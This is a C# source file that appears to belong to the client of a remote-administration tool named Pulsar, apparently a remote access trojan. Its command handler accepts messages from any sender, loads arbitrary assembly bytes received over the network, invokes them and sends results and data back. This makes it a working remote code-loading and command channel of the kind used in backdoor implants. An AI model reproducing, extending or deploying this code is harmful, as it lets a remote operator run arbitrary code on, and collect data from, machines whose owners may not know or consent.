Files
PulsarK-main/Pulsar.Client/Messages/CommandHandler.cs
T

98 lines
3.0 KiB
C#
Raw Normal View History

2026-08-27 10:57:58 -06:00
using System;
using System.Reflection;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Client.Plugins;
using Pulsar.Common.Plugins;
namespace Pulsar.Client.Messages
{
public sealed class CommandHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) =>
message is DoLoadUniversalPlugin ||
message is DoExecuteUniversalCommand;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
try
{
switch (message)
{
case DoLoadUniversalPlugin loadMsg:
HandleLoadUniversalPlugin(sender, loadMsg);
break;
case DoExecuteUniversalCommand execMsg:
HandleExecuteUniversalCommand(sender, execMsg);
break;
}
}
catch (Exception ex)
{
sender.Send(new SetStatus { Message = "Command error: " + ex.Message });
}
}
private void HandleLoadUniversalPlugin(ISender sender, DoLoadUniversalPlugin msg)
{
try
{
var asm = Assembly.Load(msg.PluginBytes);
var type = asm.GetType(msg.TypeName, throwOnError: true);
var plugin = Activator.CreateInstance(type);
var initializeMethod = type.GetMethod("Initialize");
initializeMethod.Invoke(plugin, new object[] { msg.InitData });
UniversalPluginDispatcher.RegisterPlugin(msg.PluginId, plugin);
sender.Send(new DoUniversalPluginResponse
{
PluginId = msg.PluginId,
Command = "load",
Success = true,
Message = $"Plugin {msg.PluginId} loaded successfully"
});
}
catch (Exception ex)
{
sender.Send(new DoUniversalPluginResponse
{
PluginId = msg.PluginId,
Command = "load",
Success = false,
Message = ex.Message
});
}
}
private void HandleExecuteUniversalCommand(ISender sender, DoExecuteUniversalCommand msg)
{
var result = UniversalPluginDispatcher.ExecuteCommand(msg.PluginId, msg.Command, msg.Parameters);
var resultType = result.GetType();
var successProperty = resultType.GetProperty("Success");
var messageProperty = resultType.GetProperty("Message");
var dataProperty = resultType.GetProperty("Data");
var shouldUnloadProperty = resultType.GetProperty("ShouldUnload");
var nextCommandProperty = resultType.GetProperty("NextCommand");
bool success = successProperty != null ? (bool)successProperty.GetValue(result) : false;
string message = messageProperty != null ? (string)messageProperty.GetValue(result) : "Unknown error";
byte[] data = dataProperty != null ? (byte[])dataProperty.GetValue(result) : null;
bool shouldUnload = shouldUnloadProperty != null ? (bool)shouldUnloadProperty.GetValue(result) : false;
string nextCommand = nextCommandProperty != null ? (string)nextCommandProperty.GetValue(result) : null;
sender.Send(new DoUniversalPluginResponse
{
PluginId = msg.PluginId,
Command = msg.Command,
Success = success,
Message = message,
Data = data,
ShouldUnload = shouldUnload,
NextCommand = nextCommand
});
}
}
}